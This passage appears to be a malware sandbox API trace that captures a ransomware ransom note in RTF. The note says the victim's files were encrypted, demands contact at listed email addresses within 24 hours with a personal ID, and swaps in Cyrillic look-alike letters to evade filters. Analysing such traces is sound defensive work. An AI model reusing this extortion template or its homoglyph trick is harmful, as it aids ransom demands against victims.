s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0033.963] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 